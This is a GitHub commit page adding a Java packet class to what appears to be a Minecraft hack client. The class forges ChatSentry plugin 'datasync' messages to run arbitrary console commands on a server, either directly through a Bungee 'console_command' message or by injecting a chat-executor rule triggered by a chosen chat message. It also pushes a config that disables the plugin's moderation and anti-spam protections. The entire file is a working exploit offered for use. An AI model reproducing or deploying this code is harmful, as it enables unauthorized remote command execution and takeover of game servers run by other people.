Skip to content
This repository was archived by the owner on Apr 25, 2025. It is now read-only.

Commit a28db2b

Browse files
committed
feat: ChatSentryPayloadPacket
1 parent 2dda2ca commit a28db2b

File tree

1 file changed

+133
-0
lines changed

1 file changed

+133
-0
lines changed
Lines changed: 133 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,133 @@
1+
// AUTISM INC. SUCKS
2+
package io.github.spigotrce.paradiseclientfabric.packet;
3+
4+
import com.google.common.io.ByteArrayDataOutput;
5+
import com.google.common.io.ByteStreams;
6+
import io.github.spigotrce.paradiseclientfabric.Helper;
7+
import net.minecraft.network.PacketByteBuf;
8+
import net.minecraft.network.codec.PacketCodec;
9+
import net.minecraft.network.packet.CustomPayload;
10+
import net.minecraft.util.Identifier;
11+
12+
import java.io.ByteArrayOutputStream;
13+
import java.util.Objects;
14+
15+
public record ChatSentryPayloadPacket(String command, boolean isBungee, String type, String executionMessage) implements CustomPayload {
16+
public static final PacketCodec<PacketByteBuf, ChatSentryPayloadPacket> CODEC = CustomPayload.codecOf(ChatSentryPayloadPacket::write, ChatSentryPayloadPacket::new);
17+
public static final Id<ChatSentryPayloadPacket> ID = new Id<>(Identifier.of("chatsentry", "datasync"));
18+
19+
private ChatSentryPayloadPacket(PacketByteBuf buf) {
20+
this(buf.readString(), buf.readBoolean(), buf.readString(), buf.readString());
21+
}
22+
23+
public ChatSentryPayloadPacket(String command, boolean isBungee, String type, String executionMessage) {
24+
this.command = command;
25+
this.isBungee = isBungee;
26+
this.type = type;
27+
this.executionMessage = executionMessage;
28+
}
29+
30+
private void write(PacketByteBuf buf) {
31+
final ByteArrayDataOutput out = ByteStreams.newDataOutput();
32+
if (isBungee) {
33+
out.writeUTF("console_command");
34+
out.writeUTF(command);
35+
buf.writeBytes(out.toByteArray());
36+
} else {
37+
if (Objects.equals(type, "config")) {
38+
out.writeUTF("sync");
39+
out.writeUTF("");
40+
out.writeUTF("skibidi");
41+
out.writeUTF("config.yml");
42+
out.writeUTF("""
43+
check-for-updates: false
44+
process-chat: true
45+
process-commands: true
46+
process-signs: true
47+
process-anvils: true
48+
process-books: true
49+
context-prediction: true
50+
disable-vanilla-spam-kick: true
51+
network:
52+
enable: false
53+
sync-configs: true
54+
global-admin-notifier-messages: true
55+
enable-admin-notifier: false
56+
enable-discord-notifier: false
57+
enable-auto-punisher: false
58+
enable-word-and-phrase-filter: false
59+
enable-link-and-ad-blocker: false
60+
enable-spam-blocker: false
61+
enable-chat-cooldown: false
62+
enable-anti-chat-flood: false
63+
enable-unicode-remover: false
64+
enable-cap-limiter: false
65+
enable-anti-parrot: false
66+
enable-chat-executor: true
67+
enable-anti-statue-spambot: false
68+
enable-anti-relog-spam: false
69+
enable-anti-join-flood: false
70+
enable-anti-command-prefix: false
71+
enable-auto-grammar: false
72+
enable-command-spy: false
73+
enable-logging-for:
74+
chat-cooldown: false
75+
link-and-ad-blocker: true
76+
word-and-phrase-filter: true
77+
spam-blocker: true
78+
unicode-remover: true
79+
cap-limiter: true
80+
anti-parrot: true
81+
anti-chat-flood: true
82+
anti-statue-spambot: false
83+
chat-executor: false
84+
clean-logs-older-than: 30
85+
override-bypass-permissions:
86+
chat-cooldown: false
87+
link-and-ad-blocker: false
88+
word-and-phrase-filter: false
89+
spam-blocker: false
90+
unicode-remover: false
91+
cap-limiter: false
92+
anti-parrot: false
93+
anti-chat-flood: false
94+
anti-statue-spambot: false
95+
anti-join-flood: false
96+
chat-executor: true
97+
auto-grammar: false
98+
anti-command-prefix: false
99+
command-spy: false
100+
lockdown:
101+
active: false
102+
current-mode: "only-known"
103+
exempt-usernames:
104+
- "Notch"
105+
- "jeb_"
106+
command-blacklist:
107+
- "/tell"
108+
""");
109+
} else {
110+
out.writeUTF("sync");
111+
out.writeUTF("modules");
112+
out.writeUTF("skibidi");
113+
out.writeUTF("chat-executor.yml");
114+
out.writeUTF("""
115+
entries:
116+
1:
117+
match: "{regex}(REPLACE-THE-MESSAGE)"
118+
set-matches-as: "{block}"
119+
execute:
120+
- "{console_cmd}: REPLACE-THE-COMMAND"
121+
- "{player_msg}: &a&lSUCCESS!"
122+
""".replaceAll("REPLACE-THE-COMMAND", command)
123+
.replaceAll("REPLACE-THE-MESSAGE", executionMessage));
124+
}
125+
out.writeUTF("2822111278697");
126+
buf.writeBytes(out.toByteArray());
127+
}
128+
}
129+
130+
public CustomPayload.Id<ChatSentryPayloadPacket> getId() {
131+
return ID;
132+
}
133+
}

0 commit comments

Comments
 (0)